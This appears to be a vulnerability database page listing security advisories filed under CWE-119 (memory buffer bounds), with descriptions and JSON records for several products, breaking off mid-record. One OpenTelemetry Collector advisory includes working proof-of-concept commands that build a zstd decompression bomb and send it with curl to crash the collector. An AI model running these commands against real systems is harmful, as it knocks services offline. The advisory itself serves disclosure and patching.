Common Weakness Enumeration

CWE-119

Discouraged

Improper Restriction of Operations within the Bounds of a Memory Buffer

Abstraction: Class · Status: Stable

API response cwe.mitre.org

The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

17510 vulnerabilities reference this CWE, most recent first.

GHSA-C737-M6VW-R2J8

Vulnerability from github – Published: 2022-05-14 02:32 – Updated: 2022-05-14 02:32
VLAI
Details

Microsoft Internet Explorer 9 and 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability."

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2014-0284"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-02-12T04:50:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Internet Explorer 9 and 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka \"Internet Explorer Memory Corruption Vulnerability.\"",
  "id": "GHSA-c737-m6vw-r2j8",
  "modified": "2022-05-14T02:32:54Z",
  "published": "2022-05-14T02:32:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0284"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-010"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/90774"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/103182"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/56796"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/65383"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1029741"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-C74F-6MFW-MM4V

Vulnerability from github – Published: 2024-06-05 16:56 – Updated: 2024-06-17 15:20
VLAI
Summary
Denial of Service via Zip/Decompression Bomb sent over HTTP or gRPC
Details

Summary

An unsafe decompression vulnerability allows unauthenticated attackers to crash the collector via excessive memory consumption.

Details

The OpenTelemetry Collector handles compressed HTTP requests by recognizing the Content-Encoding header, rewriting the HTTP request body, and allowing subsequent handlers to process decompressed data. It supports the gzip, zstd, zlib, snappy, and deflate compression algorithms. A "zip bomb" or "decompression bomb" is a malicious archive designed to crash or disable the system reading it. Decompression of HTTP requests is typically not enabled by default in popular server solutions due to associated security risks. A malicious attacker could leverage this weakness to crash the collector by sending a small request that, when uncompressed by the server, results in excessive memory consumption.

During proof-of-concept (PoC) testing, all supported compression algorithms could be abused, with zstd causing the most significant impact. Compressing 10GB of all-zero data reduced it to 329KB. Sending an HTTP request with this compressed data instantly consumed all available server memory (the testing server had 32GB), leading to an out-of-memory (OOM) kill of the collector application instance.

The root cause for this issue can be found in the following code path:

Affected File: https://github.com/open-telemetry/opentelemetry-collector/[...]confighttp/compression.go

Affected Code:

// httpContentDecompressor offloads the task of handling compressed HTTP requests
// by identifying the compression format in the "Content-Encoding" header and re-writing
// request body so that the handlers further in the chain can work on decompressed data.
// It supports gzip and deflate/zlib compression.
func httpContentDecompressor(h http.Handler, eh func(w http.ResponseWriter, r *http.Request, errorMsg string, statusCode int), decoders map[string]func(body io.ReadCloser) (io.ReadCloser, error)) http.Handler {
    [...]
    d := &decompressor{
        errHandler: errHandler,
        base:       h,
        decoders: map[string]func(body io.ReadCloser) (io.ReadCloser, error){
            "": func(io.ReadCloser) (io.ReadCloser, error) {
                // Not a compressed payload. Nothing to do.
                return nil, nil
            },
            [...]
            "zstd": func(body io.ReadCloser) (io.ReadCloser, error) {
                zr, err := zstd.NewReader(
                    body,
                    zstd.WithDecoderConcurrency(1),
                )
                if err != nil {
                    return nil, err
                }
                return zr.IOReadCloser(), nil
            },
    [...]
}

func (d *decompressor) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    newBody, err := d.newBodyReader(r)
    if err != nil {
        d.errHandler(w, r, err.Error(), http.StatusBadRequest)
        return
    }
    [...]
    d.base.ServeHTTP(w, r)
}

func (d *decompressor) newBodyReader(r *http.Request) (io.ReadCloser, error) {
    encoding := r.Header.Get(headerContentEncoding)
    decoder, ok := d.decoders[encoding]
    if !ok {
        return nil, fmt.Errorf("unsupported %s: %s", headerContentEncoding, encoding)
    }
    return decoder(r.Body)
}

To mitigate this attack vector, it is recommended to either disable support for decompressing client HTTP requests entirely or limit the size of the decompressed data that can be processed. Limiting the decompressed data size can be achieved by wrapping the decompressed data reader inside an io.LimitedReader, which restricts the reading to a specified number of bytes. This approach helps prevent excessive memory usage and potential out-of-memory errors caused by decompression bombs.

PoC

This issue was confirmed as follows:

PoC Commands:

dd if=/dev/zero bs=1G count=10 | zstd > poc.zst
curl -vv "http://192.168.0.107:4318/v1/traces" -H "Content-Type: application/x-protobuf" -H "Content-Encoding: zstd" --data-binary @poc.zst

Output:

10+0 records in
10+0 records out
10737418240 bytes (11 GB, 10 GiB) copied, 12,207 s, 880 MB/s

* processing: http://192.168.0.107:4318/v1/traces
*   Trying 192.168.0.107:4318...
* Connected to 192.168.0.107 (192.168.0.107) port 4318
> POST /v1/traces HTTP/1.1
> Host: 192.168.0.107:4318
> User-Agent: curl/8.2.1
> Accept: */*
> Content-Type: application/x-protobuf
> Content-Encoding: zstd
> Content-Length: 336655
>
* We are completely uploaded and fine
* Recv failure: Connection reset by peer
* Closing connection
curl: (56) Recv failure: Connection reset by peer

Server logs:

otel-collector-1  | 2024-05-30T18:36:14.376Z    info    service@v0.101.0/service.go:102    Setting up own telemetry...
[...]
otel-collector-1  | 2024-05-30T18:36:14.385Z    info    otlpreceiver@v0.101.0/otlp.go:152    Starting HTTP server    {"kind": "receiver", "name": "otlp", "data_type": "traces", "endpoint": "0.0.0.0:4318"}
otel-collector-1  | 2024-05-30T18:36:14.385Z    info    service@v0.101.0/service.go:195    Everything is ready. Begin running and processing data.
otel-collector-1  | 2024-05-30T18:36:14.385Z    warn    localhostgate/featuregate.go:63    The default endpoints for all servers in components will change to use localhost instead of 0.0.0.0 in a future version. Use the feature gate to preview the new default.    {"feature gate ID": "component.UseLocalHostAsDefaultHost"}
otel-collector-1 exited with code 137

A similar problem exists for configgrpc when using the zstd compression:

dd if=/dev/zero bs=1G count=10 | zstd > poc.zst
python3 -c 'import os, struct; f = open("/tmp/body.raw", "w+b"); f.write(b"\x01"); f.write(struct.pack(">L", os.path.getsize("poc.zst"))); f.write(open("poc.zst", "rb").read())'
curl -vv http://127.0.0.1:4317/opentelemetry.proto.collector.trace.v1.TraceService/Export --http2-prior-knowledge -H "content-type: application/grpc" -H "grpc-encoding: zstd" --data-binary @/tmp/body.raw

Impact

Unauthenticated attackers can crash the collector via excessive memory consumption, stopping the entire collection of telemetry.

Patches

  • The confighttp module version 0.102.0 contains a fix for this problem.
  • The configgrpc module version 0.102.1 contains a fix for this problem.
  • All official OTel Collector distributions starting with v0.102.1 contain both fixes.

Workarounds

  • None.

References

  • https://github.com/open-telemetry/opentelemetry-collector/pull/10289
  • https://github.com/open-telemetry/opentelemetry-collector/pull/10323
  • https://opentelemetry.io/blog/2024/cve-2024-36129/

Credits

This issue was uncovered during a security audit performed by 7ASecurity, facilitated by OSTIF, for the OpenTelemetry project.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/collector/config/confighttp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.102.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/collector/config/configgrpc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.102.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-36129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-05T16:56:19Z",
    "nvd_published_at": "2024-06-05T18:15:10Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unsafe decompression vulnerability allows unauthenticated attackers to crash the collector via excessive memory consumption.\n\n### Details\nThe OpenTelemetry Collector handles compressed HTTP requests by recognizing the Content-Encoding header, rewriting the HTTP request body, and allowing subsequent handlers to process decompressed data. It supports the gzip, zstd, zlib, snappy, and deflate compression algorithms. A \"zip bomb\" or \"decompression bomb\" is a malicious archive designed to crash or disable the system reading it. Decompression of HTTP requests is typically not enabled by default in popular server solutions due to associated security risks. A malicious attacker could leverage this weakness to crash the collector by sending a small request that, when uncompressed by the server, results in excessive memory consumption.\n\nDuring proof-of-concept (PoC) testing, all supported compression algorithms could be abused, with zstd causing the most significant impact. Compressing 10GB of all-zero data reduced it to 329KB. Sending an HTTP request with this compressed data instantly consumed all available server memory (the testing server had 32GB), leading to an out-of-memory (OOM) kill of the collector application instance.\n\nThe root cause for this issue can be found in the following code path:\n\n**Affected File:**\n[https://github.com/open-telemetry/opentelemetry-collector/[...]confighttp/compression.go](https://github.com/open-telemetry/opentelemetry-collector/blob/062d0a7ffcd45831f993d21d1c6fb67d3e74b5e2/config/confighttp/compression.go) \n\n**Affected Code:**\n```\n// httpContentDecompressor offloads the task of handling compressed HTTP requests\n// by identifying the compression format in the \"Content-Encoding\" header and re-writing\n// request body so that the handlers further in the chain can work on decompressed data.\n// It supports gzip and deflate/zlib compression.\nfunc httpContentDecompressor(h http.Handler, eh func(w http.ResponseWriter, r *http.Request, errorMsg string, statusCode int), decoders map[string]func(body io.ReadCloser) (io.ReadCloser, error)) http.Handler {\n    [...]\n    d := \u0026decompressor{\n        errHandler: errHandler,\n        base:   \th,\n        decoders: map[string]func(body io.ReadCloser) (io.ReadCloser, error){\n            \"\": func(io.ReadCloser) (io.ReadCloser, error) {\n                // Not a compressed payload. Nothing to do.\n                return nil, nil\n            },\n            [...]\n            \"zstd\": func(body io.ReadCloser) (io.ReadCloser, error) {\n                zr, err := zstd.NewReader(\n                    body,\n                    zstd.WithDecoderConcurrency(1),\n                )\n                if err != nil {\n                    return nil, err\n                }\n                return zr.IOReadCloser(), nil\n            },\n    [...]\n}\n\nfunc (d *decompressor) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n    newBody, err := d.newBodyReader(r)\n    if err != nil {\n        d.errHandler(w, r, err.Error(), http.StatusBadRequest)\n        return\n    }\n    [...]\n    d.base.ServeHTTP(w, r)\n}\n\nfunc (d *decompressor) newBodyReader(r *http.Request) (io.ReadCloser, error) {\n    encoding := r.Header.Get(headerContentEncoding)\n    decoder, ok := d.decoders[encoding]\n    if !ok {\n        return nil, fmt.Errorf(\"unsupported %s: %s\", headerContentEncoding, encoding)\n    }\n    return decoder(r.Body)\n}\n```\n\nTo mitigate this attack vector, it is recommended to either disable support for decompressing client HTTP requests entirely or limit the size of the decompressed data that can be processed. Limiting the decompressed data size can be achieved by wrapping the decompressed data reader inside an io.LimitedReader, which restricts the reading to a specified number of bytes. This approach helps prevent excessive memory usage and potential out-of-memory errors caused by decompression bombs.\n\n### PoC\nThis issue was confirmed as follows:\n\n**PoC Commands:**\n```\ndd if=/dev/zero bs=1G count=10 | zstd \u003e poc.zst\ncurl -vv \"http://192.168.0.107:4318/v1/traces\" -H \"Content-Type: application/x-protobuf\" -H \"Content-Encoding: zstd\" --data-binary @poc.zst\n```\n\n**Output:**\n```\n10+0 records in\n10+0 records out\n10737418240 bytes (11 GB, 10 GiB) copied, 12,207 s, 880 MB/s\n\n* processing: http://192.168.0.107:4318/v1/traces\n*   Trying 192.168.0.107:4318...\n* Connected to 192.168.0.107 (192.168.0.107) port 4318\n\u003e POST /v1/traces HTTP/1.1\n\u003e Host: 192.168.0.107:4318\n\u003e User-Agent: curl/8.2.1\n\u003e Accept: */*\n\u003e Content-Type: application/x-protobuf\n\u003e Content-Encoding: zstd\n\u003e Content-Length: 336655\n\u003e\n* We are completely uploaded and fine\n* Recv failure: Connection reset by peer\n* Closing connection\ncurl: (56) Recv failure: Connection reset by peer\n```\n\n**Server logs:**\n```\notel-collector-1  | 2024-05-30T18:36:14.376Z    info    service@v0.101.0/service.go:102    Setting up own telemetry...\n[...]\notel-collector-1  | 2024-05-30T18:36:14.385Z    info    otlpreceiver@v0.101.0/otlp.go:152    Starting HTTP server    {\"kind\": \"receiver\", \"name\": \"otlp\", \"data_type\": \"traces\", \"endpoint\": \"0.0.0.0:4318\"}\notel-collector-1  | 2024-05-30T18:36:14.385Z    info    service@v0.101.0/service.go:195    Everything is ready. Begin running and processing data.\notel-collector-1  | 2024-05-30T18:36:14.385Z    warn    localhostgate/featuregate.go:63    The default endpoints for all servers in components will change to use localhost instead of 0.0.0.0 in a future version. Use the feature gate to preview the new default.    {\"feature gate ID\": \"component.UseLocalHostAsDefaultHost\"}\notel-collector-1 exited with code 137\n```\n\nA similar problem exists for configgrpc when using the zstd compression:\n\n```\ndd if=/dev/zero bs=1G count=10 | zstd \u003e poc.zst\npython3 -c \u0027import os, struct; f = open(\"/tmp/body.raw\", \"w+b\"); f.write(b\"\\x01\"); f.write(struct.pack(\"\u003eL\", os.path.getsize(\"poc.zst\"))); f.write(open(\"poc.zst\", \"rb\").read())\u0027\ncurl -vv http://127.0.0.1:4317/opentelemetry.proto.collector.trace.v1.TraceService/Export --http2-prior-knowledge -H \"content-type: application/grpc\" -H \"grpc-encoding: zstd\" --data-binary @/tmp/body.raw\n```\n\n### Impact\nUnauthenticated attackers can crash the collector via excessive memory consumption, stopping the entire collection of telemetry.\n\n### Patches\n- The confighttp module version 0.102.0 contains a fix for this problem.\n- The configgrpc module version 0.102.1 contains a fix for this problem.\n- All official OTel Collector distributions starting with v0.102.1 contain both fixes.\n\n### Workarounds\n- None.\n\n### References\n- https://github.com/open-telemetry/opentelemetry-collector/pull/10289\n- https://github.com/open-telemetry/opentelemetry-collector/pull/10323\n- https://opentelemetry.io/blog/2024/cve-2024-36129/\n\n### Credits\nThis issue was uncovered during a security audit performed by 7ASecurity, facilitated by OSTIF, for the OpenTelemetry project.",
  "id": "GHSA-c74f-6mfw-mm4v",
  "modified": "2024-06-17T15:20:43Z",
  "published": "2024-06-05T16:56:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-collector/security/advisories/GHSA-c74f-6mfw-mm4v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-collector/pull/10289"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-collector/pull/10323"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-collector"
    },
    {
      "type": "WEB",
      "url": "https://opentelemetry.io/blog/2024/cve-2024-36129"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-2900"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service via Zip/Decompression Bomb sent over HTTP or gRPC"
}

GHSA-C74F-9VF5-2GH6

Vulnerability from github – Published: 2022-05-13 01:09 – Updated: 2025-04-20 03:40
VLAI
Details

A Stack-Based Buffer Overflow issue was discovered in Schneider Electric Wonderware ArchestrA Logger, versions 2017.426.2307.1 and prior. The stack-based buffer overflow vulnerability has been identified, which may allow a remote attacker to execute arbitrary code in the context of a highly privileged account.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-9629"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119",
      "CWE-121"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-07T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "A Stack-Based Buffer Overflow issue was discovered in Schneider Electric Wonderware ArchestrA Logger, versions 2017.426.2307.1 and prior. The stack-based buffer overflow vulnerability has been identified, which may allow a remote attacker to execute arbitrary code in the context of a highly privileged account.",
  "id": "GHSA-c74f-9vf5-2gh6",
  "modified": "2025-04-20T03:40:27Z",
  "published": "2022-05-13T01:09:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9629"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-187-04"
    },
    {
      "type": "WEB",
      "url": "http://software.schneider-electric.com/pdf/security-bulletin/lfsec00000116"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99488"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038836"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C74W-77JP-9C48

Vulnerability from github – Published: 2024-01-16 03:30 – Updated: 2025-11-05 00:31
VLAI
Details

An invalid memory write issue in Jasper-Software Jasper v.4.1.1 and before allows a local attacker to execute arbitrary code.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-51257"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-16T02:15:28Z",
    "severity": "HIGH"
  },
  "details": "An invalid memory write issue in Jasper-Software Jasper v.4.1.1 and before allows a local attacker to execute arbitrary code.",
  "id": "GHSA-c74w-77jp-9c48",
  "modified": "2025-11-05T00:31:16Z",
  "published": "2024-01-16T03:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51257"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jasper-software/jasper/issues/367"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HNTGL7I5IJSQ4BZ5MGKWJPQYICUMHQ5I"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MBF5KYWCZVIDMITRX7GBVWGNWKAMQORZ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HNTGL7I5IJSQ4BZ5MGKWJPQYICUMHQ5I"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MBF5KYWCZVIDMITRX7GBVWGNWKAMQORZ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C758-VVQJ-X96Q

Vulnerability from github – Published: 2026-06-01 18:31 – Updated: 2026-06-01 18:31
VLAI
Details

A flaw has been found in OpenSC up to 0.26.1. This affects the function test_kpgen_certwrite of the file src/tools/pkcs11-tool.c of the component pkcs11-tool Key Generation Module. This manipulation causes buffer overflow. The attack is possible to be carried out remotely. The complexity of an attack is rather high. It is indicated that the exploitability is difficult. The exploit has been published and may be used. Patch name: 814f745b3b6d100295f65f1935edd33d520d33ab. It is recommended to apply a patch to fix this issue.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
1.3 (Low)
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-10275"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-01T17:16:44Z",
    "severity": "LOW"
  },
  "details": "A flaw has been found in OpenSC up to 0.26.1. This affects the function test_kpgen_certwrite of the file src/tools/pkcs11-tool.c of the component pkcs11-tool Key Generation Module. This manipulation causes buffer overflow. The attack is possible to be carried out remotely. The complexity of an attack is rather high. It is indicated that the exploitability is difficult. The exploit has been published and may be used. Patch name: 814f745b3b6d100295f65f1935edd33d520d33ab. It is recommended to apply a patch to fix this issue.",
  "id": "GHSA-c758-vvqj-x96q",
  "modified": "2026-06-01T18:31:51Z",
  "published": "2026-06-01T18:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10275"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenSC/OpenSC/issues/3682"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenSC/OpenSC/pull/3684"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenSC/OpenSC/commit/814f745b3b6d100295f65f1935edd33d520d33ab"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenSC/OpenSC"
    },
    {
      "type": "WEB",
      "url": "https://pan.baidu.com/s/1nrZPKDz2eAcCpsaFiIRlrg"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-10275"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/825403"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/367568"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/367568/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-C75R-6JVF-VRX7

Vulnerability from github – Published: 2025-06-05 03:30 – Updated: 2025-06-05 03:30
VLAI
Details

A vulnerability has been found in D-Link DIR-816 1.10CNB05 and classified as critical. This vulnerability affects unknown code of the file /goform/form2lansetup.cgi. The manipulation of the argument ip leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. This vulnerability only affects products that are no longer supported by the maintainer.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-5630"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-05T03:15:27Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability has been found in D-Link DIR-816 1.10CNB05 and classified as critical. This vulnerability affects unknown code of the file /goform/form2lansetup.cgi. The manipulation of the argument ip leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. This vulnerability only affects products that are no longer supported by the maintainer.",
  "id": "GHSA-c75r-6jvf-vrx7",
  "modified": "2025-06-05T03:30:59Z",
  "published": "2025-06-05T03:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5630"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wudipjq/my_vuln/blob/main/D-Link5/vuln_54/54.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.311116"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.311116"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.589779"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-C76R-3279-X52M

Vulnerability from github – Published: 2022-05-17 05:02 – Updated: 2022-05-17 05:02
VLAI
Details

Triangle MicroWorks SCADA Data Gateway 2.50.0309 through 3.00.0616, DNP3 .NET Protocol components 3.06.0.171 through 3.15.0.369, and DNP3 C libraries 3.06.0000 through 3.15.0000 allow physically proximate attackers to cause a denial of service (infinite loop) via crafted input over a serial line.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2013-2794"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-09-09T11:39:00Z",
    "severity": "MODERATE"
  },
  "details": "Triangle MicroWorks SCADA Data Gateway 2.50.0309 through 3.00.0616, DNP3 .NET Protocol components 3.06.0.171 through 3.15.0.369, and DNP3 C libraries 3.06.0000 through 3.15.0000 allow physically proximate attackers to cause a denial of service (infinite loop) via crafted input over a serial line.",
  "id": "GHSA-c76r-3279-x52m",
  "modified": "2022-05-17T05:02:47Z",
  "published": "2022-05-17T05:02:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2794"
    },
    {
      "type": "WEB",
      "url": "http://ics-cert.us-cert.gov/advisories/ICSA-13-240-01"
    },
    {
      "type": "WEB",
      "url": "http://www.trianglemicroworks.com/documents/mdnp_scl_whats_new.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-C76X-FV7R-4XJR

Vulnerability from github – Published: 2022-09-02 00:01 – Updated: 2022-09-08 00:00
VLAI
Details

In SQLite 3.31.1, there is an out of bounds access problem through ALTER TABLE for views that have a nested FROM clause.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-35527"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-01T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "In SQLite 3.31.1, there is an out of bounds access problem through ALTER TABLE for views that have a nested FROM clause.",
  "id": "GHSA-c76x-fv7r-4xjr",
  "modified": "2022-09-08T00:00:31Z",
  "published": "2022-09-02T00:01:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35527"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20221111-0007"
    },
    {
      "type": "WEB",
      "url": "https://www.sqlite.org/src/info/c431b3fd8fd0f6a6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C789-6FQR-GR3M

Vulnerability from github – Published: 2022-05-13 01:26 – Updated: 2022-05-13 01:26
VLAI
Details

The vmsvga_fifo_read_raw function in hw/display/vmware_vga.c in QEMU allows local guest OS administrators to obtain sensitive host memory information or cause a denial of service (QEMU process crash) by changing FIFO registers and issuing a VGA command, which triggers an out-of-bounds read.

Severity
6.0 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-4454"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-06-01T22:59:00Z",
    "severity": "MODERATE"
  },
  "details": "The vmsvga_fifo_read_raw function in hw/display/vmware_vga.c in QEMU allows local guest OS administrators to obtain sensitive host memory information or cause a denial of service (QEMU process crash) by changing FIFO registers and issuing a VGA command, which triggers an out-of-bounds read.",
  "id": "GHSA-c789-6fqr-gr3m",
  "modified": "2022-05-13T01:26:34Z",
  "published": "2022-05-13T01:26:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4454"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1336429"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/11/msg00038.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.gnu.org/archive/html/qemu-devel/2016-05/msg05271.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201609-01"
    },
    {
